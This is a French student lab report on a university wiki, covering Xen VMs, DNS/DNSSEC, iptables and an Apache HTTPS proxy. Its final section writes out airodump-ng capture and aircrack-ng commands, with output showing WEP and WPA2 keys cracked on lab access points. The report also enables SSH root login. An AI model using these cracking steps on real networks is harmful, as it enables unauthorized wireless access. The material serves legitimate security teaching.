« Atelier SysRes SE4 2025/2026 E6 » : différence entre les versions

De wiki-se.plil.fr
Aller à la navigation Aller à la recherche
Aucun résumé des modifications
Aucun résumé des modifications
Ligne 165 : Ligne 165 :


On peut d'ailleurs le vérifier sur le site https://dnschecker.org/
On peut d'ailleurs le vérifier sur le site https://dnschecker.org/
[[Fichier:Dns-check-thomas.png|centré|vignette]]


==== DNSSEC ====
==== DNSSEC ====
Ligne 209 : Ligne 210 :


</syntaxhighlight>Après avoir redémaré bind9 et named, on peut voir que les clés sont effectivement bien généré. Pour vérifier si notre DNS est sécurisé, il faudra passer par https://dnsviz.net/
</syntaxhighlight>Après avoir redémaré bind9 et named, on peut voir que les clés sont effectivement bien généré. Pour vérifier si notre DNS est sécurisé, il faudra passer par https://dnsviz.net/
[[Fichier:DNSSEC-thomas.png|centré|vignette]]


==== serveur Apache ====
==== serveur Apache ====
===== Sur la machine de service =====
En premier lieu, on va générer notre clé avec :<syntaxhighlight lang="bash">
En premier lieu, on va générer notre clé avec :<syntaxhighlight lang="bash">
openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinux.lol.key -out archlinux.csr
openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinux.lol.key -out archlinux.csr
</syntaxhighlight>
</syntaxhighlight>Une fois la clé généré on récupère la certification la certification sur Gandi
 
On va ensuite créer notre site dans <code>etc/apache2/sites-available/archlinux.lol.conf</code>
 
La page html sera enregistré dans <code>etc/www/archlinux.lol</code>
 
On effectue aussi une redirection du port http vers https.<syntaxhighlight lang="bash">
<VirtualHost *:80>                                                                 
    ServerName archlinux.lol                                                       
    ServerAlias www.archlinux.lol                                                 
    Redirect permanent / https://archlinux.lol/                                   
</VirtualHost>                                                                     
                                                                                   
<VirtualHost *:443>                                                               
    ServerName archlinux.lol                                                       
    ServerAlias www.archlinux.lol                                                 
    DocumentRoot /var/www/archlinux.lol                                           
                                                                                   
    <Directory /var/www/archlinux.lol>                                             
        Options Indexes FollowSymLinks                                             
        AllowOverride All                                                         
        Require all granted                                                       
    </Directory>                                                                   
 
 
    ErrorLog ${APACHE_LOG_DIR}/error.log                                           
    CustomLog /var/log/apache2/secure_access.log combined                         
                                                                                   
    SSLEngine on                                                                   
    SSLCertificateFile /etc/ssl/certs/archlinux.lol.crt                           
    SSLCertificateKeyFile /etc/ssl/private/archlinux.lol.key                       
    SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem                           
                                                                                   
    SSLVerifyClient None                                                           
                                                                                   
 
 
</VirtualHost>                                                                     
                                                                                   
</syntaxhighlight>Notre site est maintenant accessible en ipv6. Il faut maintenant configurer la machine mandataire pour qu'il le soit aussi en ipv4. 
 
===== Sur la machine de mandataire =====
Là aussi, après avoir récupéré les clé et certificat de la machine mandataire, on va crée un fichier <code>etc/apache2/sites-available/archlinux.lol-proxy.conf</code><syntaxhighlight lang="bash">
<VirtualHost *:80>                                                                 
    ServerName archlinux.lol                                                       
    ServerAlias www.archlinux.lol                                                 
    Redirect permanent / https://archlinux.lol/                                   
</VirtualHost>                                                                     
                                                                                   
<VirtualHost *:443>                                                               
    ServerName archlinux.lol                                                       
    ServerAlias www.archlinux.lol                                                 
                                                                                   
    SSLProxyEngine on                                                             
    ProxyPass / https://archlinux.lol/                                             
    ProxyPassReverse / https://archlinux.lol/                                     
    ProxyPreserveHost on                                                           
                                                                                   
    SSLEngine on                                                                   
    SSLCertificateFile /etc/ssl/certs/archlinux.lol.crt                           
    SSLCertificateKeyFile /etc/ssl/private/archlinux.lol.key                       
    SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem                           
 
 
    ErrorLog ${APACHE_LOG_DIR}/error.log                                           
    CustomLog ${APACHE_LOG_DIR}/access.log combined                               
</VirtualHost>                                                                     
</syntaxhighlight>Notre site est maintenant disponible partout et en https.
[[Fichier:Site-thomas.png|centré|vignette]]


==== Effraction WIFI ====
==== Effraction WIFI ====

Version du 27 février 2026 à 13:39

Compte rendu :

Création du bridge dans capbreton

Avant de créer nos VM, on ajoute notre bridge à capbreton dans SE42026_cpayet_tdelobel

auto pont_pacman
iface pont_pacman inet manual
    bridge_ports none
    up ip link set $IFACE up
    down ip link set $IFACE down

On utilise ifup pour le démarrer.

Création des VMs

Pour créer la VM de service et mandataire, on utilise les commandes suivantes

xen-create-image --hostname=SE4.Manjaro         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.LinusTorvalds   --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force

Manjaro sera la machine de service et LinusTorvalds la mandataire Puis

xen create /etc/xen/SE4.Manjaro.cfg
xen create /etc/xen/SE4.LinusTorvalds.cfg

Nos machines sont maintenant listées.

Partitionnement

Sur capbreton

Tout d'abord on se donne 10g d'espace pour notre machine virtuelle :

lvcreate -n SE4.Manjaro.var -L 10G virtual

On ajoute dans /etc/xen/SE4.Manjaro.cfg :

disk = [
            [...],
            'phy:/dev/virtual/SE4.Manjaro.home,xvda3,w',
            'phy:/dev/virtual/SE4.Manjaro.var,xvdb1,w'
        ]
Sur la VM

Afin que la configuration soit enregistré, on modifie le /etc/fstab en ajoutant les lignes suivantes :

/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2

Puis dans le terminal, on utilise les commandes suivantes (à ne surtout pas utiliser sur capbreton !!)

mkfs -t ext4 /dev/xvda3
mkfs -t ext4 /dev/xvdb1
mount /dev/xvda3 /mnt
mv /var/* /mnt
umount /mnt
mount -a

On peut maintenant relancer la machine pour verifier si la config reste.

Enfin on répète le même schéma pour la machine mandataire.

Adresses ipv4 et ipv6

Tout d'abord dans notre machine des service, on donne une adresse ipv4 local et ipv6, on modifie donc le fichier /etc/network/interfaces :

auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
    address 192.168.10.2/24
    gateway 192.168.10.1

auto eth1
iface eth1 inet6 auto

On va aussi ajouter le bridge depuis capbreton dans /etc/xen/SE4.Manjaro.cfg:

vif = [[...], 'mac=00:16:3E:36:79:D9,bridge=SE4']

Et dans la machine mandataire on va donner une adresse ipv4 du reseau publique et privé:

auto lo                                                                             
iface lo inet loopback                                                              

auto eth0                                                                           
iface eth0 inet static                                                              
        address 192.168.10.1/24                                                     

auto eth1                                                                           
iface eth1 inet static                                                              
        address 193.48.57.166/24                                                    
        gateway 193.48.57.162                                                       
iface eth1 inet6 auto

On ajoute au fichier resolv.conf le dns de google et on install les outils qui nous servirons pour la suite (iptables-persistant, ssh, bind9, apache 2...)

Masquerade et ssh

Nous pouvons maintenant mettre en places les iptables pour s'occuper à la fois du ssh (redirection de port) et de la Masquerade avec les commandes suivantes :

iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.10.3:22
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24

Après avoir sauvegarder avec iptables-save, on décommente dans /etc/sysctl.conf:

net.ipv4.ip_forward=1

Enfin pour permettre de se ssh en root sur toutes les VM, on ajoute dans /etc/ssh/sshd_config :

PermitRootLogin yes

Maintenant, il n'est plus obligatoire de passer par capbreton pour se connecter aux VM, nous utiliserons les commandes suivantes :

ssh root@193.48.57.166 #pour la machine mandataire
ssh root@193.48.57.166 -p 2202 # pour la machine de service

DNS

Machine de service

On débute par modifier /etc/bind/named.conf.local , on y ajoute notre zone principale et celle de notre camarade :

zone "archlinux.lol" {                                                              
        type master;                                                                
        file "/etc/bind/zones/db.archlinux.lol";                                    
        allow-transfer{secondaries;};                                               
        also-notify{hiddensecondaries;};                                            
        notify yes;                                                                 
};                                                                                  
                                                                                    
acl "secondaries" {                                                                 
        192.168.10.3;                                                               
        2001:660:4401:60a0:216:3eff:fe8b:45ed;                                      
        192.168.10.1;                                                               
        2001:660:4401:60a0:216:3eff:feaa:bff0;                                      
};                                                                                  
                                                                                    
masters "hiddensecondaries" {                                                       
        2001:660:4401:60a0:216:3eff:feaa:bff0;                                      
};                                                                                  
                                                                                    
zone "archlinuxbtw.lol" {                                                           
        type secondary;                                                             
        file "/etc/bind/backup/db.archlinuxbtw.lol";                                
        primaries{2001:660:4401:60a0:216:3eff:fe8b:45ed;};                          
};

Puis on crée notre zone db.archlinux.lol :

$TTL 400                                                                            
                                                                                    
@ IN SOA ns.archlinux.lol. admin.archlinux.lol. (                                   
           3611     ; Numéro de version                                             
          21600     ; Rafraîchissement (6h)                                         
           3600     ; Re-tentative (1h)                                             
        2592000     ; Expiration (30j)                                              
          86400     ; Cache négatif (24h)                                           
);                                                                                  
                                                                                    
@ IN NS ns.archlinux.lol.                                                           
@ IN NS ns.archlinuxbtw.lol.                                                        
                                                                                    
ns IN A 193.48.57.166                                                               
@ IN A 193.48.57.166                                                                
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe36:79d9                                    
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe36:79d9                                     
                                                                                    
www IN CNAME archlinux.lol.
Machine mandataire

Dans la machine mandataire, on doit passer les zones de nos machine de service en zone secondaire, ainsi, on aura un fichier tel que celui-ci :

zone "archlinuxbtw.lol" {                                                           
        type secondary;                                                             
        file "/etc/bind/backup/db.archlinuxbtw.lol";                                
        primaries{2001:660:4401:60a0:216:3eff:fe8b:45ed;};                          
};                                                                                  
zone "archlinux.lol" {                                                              
        type secondary;                                                             
        file "/etc/bind/backup/db.archlinux.lol";                                   
        primaries{2001:660:4401:60a0:216:3eff:fe36:79d9;};                          
};                                                                                  
                                                                                    
acl "secondaries" {                                                                 
        2001:660:4401:60a0:216:3eff:fe8b:45ed;                                      
        2001:660:4401:60a0:216:3eff:fe36:79d9;                                      
};

Enfin, il faut rajouter nos zones au Glue records de Gandi pour que notre DNS soit reconnu partout dans le monde.

On peut d'ailleurs le vérifier sur le site https://dnschecker.org/

Dns-check-thomas.png

DNSSEC

Afin de sécuriser notre DNS, on modifie notre /etc/bind/named.conf.local :

zone "archlinux.lol" {                                                              
        type master;                                                                
        file "/etc/bind/zones/db.archlinux.lol";                                    
        allow-transfer{secondaries;};                                               
        also-notify{hiddensecondaries;};                                            
        notify yes;                                                                 
        key-directory "/etc/bind/keys";                                             
        dnssec-policy "dnspol";                                                     
        inline-signing yes;
};                                                                                  
                                                                                    
acl "secondaries" {                                                                 
        192.168.10.3;                                                               
        2001:660:4401:60a0:216:3eff:fe8b:45ed;                                      
        192.168.10.1;                                                               
        2001:660:4401:60a0:216:3eff:feaa:bff0;                                      
};                                                                                  
                                                                                    
masters "hiddensecondaries" {                                                       
        2001:660:4401:60a0:216:3eff:feaa:bff0;                                      
};                                                                                  
                                                                                    
zone "archlinuxbtw.lol" {                                                           
        type secondary;                                                             
        file "/etc/bind/backup/db.archlinuxbtw.lol";                                
        primaries{2001:660:4401:60a0:216:3eff:fe8b:45ed;};                          
};                                                                                  
                                                                                    
dnssec-policy "dnspol" {                                                            
   keys {                                                                           
       ksk key-directory lifetime unlimited algorithm 13;                           
       zsk key-directory lifetime unlimited algorithm 13;                           
   };                                                                               
   nsec3param;                                                                      
};

et on ajoute un répertoire pour les clés (auquel on donnera les permissions d'écriture) :

mkdir /etc/bind/keys 
chown bind:bind /etc/bind/keys 
chmod 750 /etc/bind/keys

Après avoir redémaré bind9 et named, on peut voir que les clés sont effectivement bien généré. Pour vérifier si notre DNS est sécurisé, il faudra passer par https://dnsviz.net/

DNSSEC-thomas.png

serveur Apache

Sur la machine de service

En premier lieu, on va générer notre clé avec :

openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinux.lol.key -out archlinux.csr

Une fois la clé généré on récupère la certification la certification sur Gandi

On va ensuite créer notre site dans etc/apache2/sites-available/archlinux.lol.conf

La page html sera enregistré dans etc/www/archlinux.lol

On effectue aussi une redirection du port http vers https.

<VirtualHost *:80>                                                                  
    ServerName archlinux.lol                                                        
    ServerAlias www.archlinux.lol                                                   
    Redirect permanent / https://archlinux.lol/                                     
</VirtualHost>                                                                      
                                                                                    
<VirtualHost *:443>                                                                 
    ServerName archlinux.lol                                                        
    ServerAlias www.archlinux.lol                                                   
    DocumentRoot /var/www/archlinux.lol                                             
                                                                                    
    <Directory /var/www/archlinux.lol>                                              
        Options Indexes FollowSymLinks                                              
        AllowOverride All                                                           
        Require all granted                                                         
    </Directory>                                                                    


    ErrorLog ${APACHE_LOG_DIR}/error.log                                            
    CustomLog /var/log/apache2/secure_access.log combined                           
                                                                                    
    SSLEngine on                                                                    
    SSLCertificateFile /etc/ssl/certs/archlinux.lol.crt                             
    SSLCertificateKeyFile /etc/ssl/private/archlinux.lol.key                        
    SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem                            
                                                                                    
    SSLVerifyClient None                                                            
                                                                                    


</VirtualHost>

Notre site est maintenant accessible en ipv6. Il faut maintenant configurer la machine mandataire pour qu'il le soit aussi en ipv4.

Sur la machine de mandataire

Là aussi, après avoir récupéré les clé et certificat de la machine mandataire, on va crée un fichier etc/apache2/sites-available/archlinux.lol-proxy.conf

<VirtualHost *:80>                                                                  
    ServerName archlinux.lol                                                        
    ServerAlias www.archlinux.lol                                                   
    Redirect permanent / https://archlinux.lol/                                     
</VirtualHost>                                                                      
                                                                                    
<VirtualHost *:443>                                                                 
    ServerName archlinux.lol                                                        
    ServerAlias www.archlinux.lol                                                   
                                                                                    
    SSLProxyEngine on                                                               
    ProxyPass / https://archlinux.lol/                                              
    ProxyPassReverse / https://archlinux.lol/                                       
    ProxyPreserveHost on                                                            
                                                                                    
    SSLEngine on                                                                    
    SSLCertificateFile /etc/ssl/certs/archlinux.lol.crt                             
    SSLCertificateKeyFile /etc/ssl/private/archlinux.lol.key                        
    SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem                            


    ErrorLog ${APACHE_LOG_DIR}/error.log                                            
    CustomLog ${APACHE_LOG_DIR}/access.log combined                                 
</VirtualHost>

Notre site est maintenant disponible partout et en https.

Site-thomas.png

Effraction WIFI

sudo airodump-ng wlan1

On trouve cracotte06 avec son adresse et son chanel

sudo airodump-ng wlan1 --write dump --bssid 04:DA:D2:9C:50:55 -c4

Le fichier dump étant crée, on récupère la clé avec la commande suivante :

sudo  aircrack-ng -b 04:DA:D2:9C:50:55 dump-22.cap
                                                                                     Aircrack-ng 1.7 


                                                                       [00:00:00] Tested 525 keys (got 63977 IVs)

   KB    depth   byte(vote)
    0    1/  2   20(74752) 5B(73216) F0(73216) 1E(72704) 77(72192) 12(71936) 78(71936) ED(71936) 21(71680) EF(71680) 58(71424) AE(71424) 4D(71168) 5A(70656) 02(70400) 
    1    5/  1   48(74496) DA(71936) 47(71680) 55(71680) B9(71168) BD(70656) DE(70656) 01(70400) 77(70400) A2(70400) 6C(70144) 74(70144) 7C(70144) 8E(70144) 92(70144) 
    2   73/  2   CE(66560) CC(66304) E2(66304) DD(66048) ED(66048) 69(65536) 97(65536) A7(65536) AC(65536) B8(65536) 44(65280) 72(65280) D7(65280) EA(65280) F4(65280) 
    3    7/ 11   5C(73984) 14(72960) 6E(72960) E8(72448) 00(71424) EB(71424) 04(71168) 23(70912) 35(70912) AB(70912) 58(70656) 1B(70400) CA(70400) D4(70400) FE(70400) 
    4    0/  3   F6(92416) 2D(73472) 30(72704) 6A(71680) 9D(71680) BD(71680) C9(71680) 2B(71168) 3D(70400) 52(70400) C8(70400) D8(70400) 49(70144) F8(70144) FE(69632) 

             KEY FOUND! [ FF:FF:FF:FF:FA:BC:07:CB:AE:EE:EE:EE:EE ] 
	Decrypted correctly: 100%
sudo airodump-ng wlan1 --write dump --bssid 44:AD:D9:5F:87:05 -c13
sudo  aircrack-ng -a2 -w dico.txt -b 44:AD:D9:5F:87:05 dump-23.cap
                               Aircrack-ng 1.7 

      [00:28:29] 66973408/100000000 keys tested (39839.22 k/s) 

      Time left: 13 minutes, 48 seconds                         66.97%

                           KEY FOUND! [ 66684666 ]


      Master Key     : 63 5F 7F 36 2C 70 49 04 6A 29 11 FE C8 C1 0C FD 
                       4D 16 18 BE C9 48 70 31 C5 7B 13 BD E1 02 8A 15 

      Transient Key  : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

      EAPOL HMAC     : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00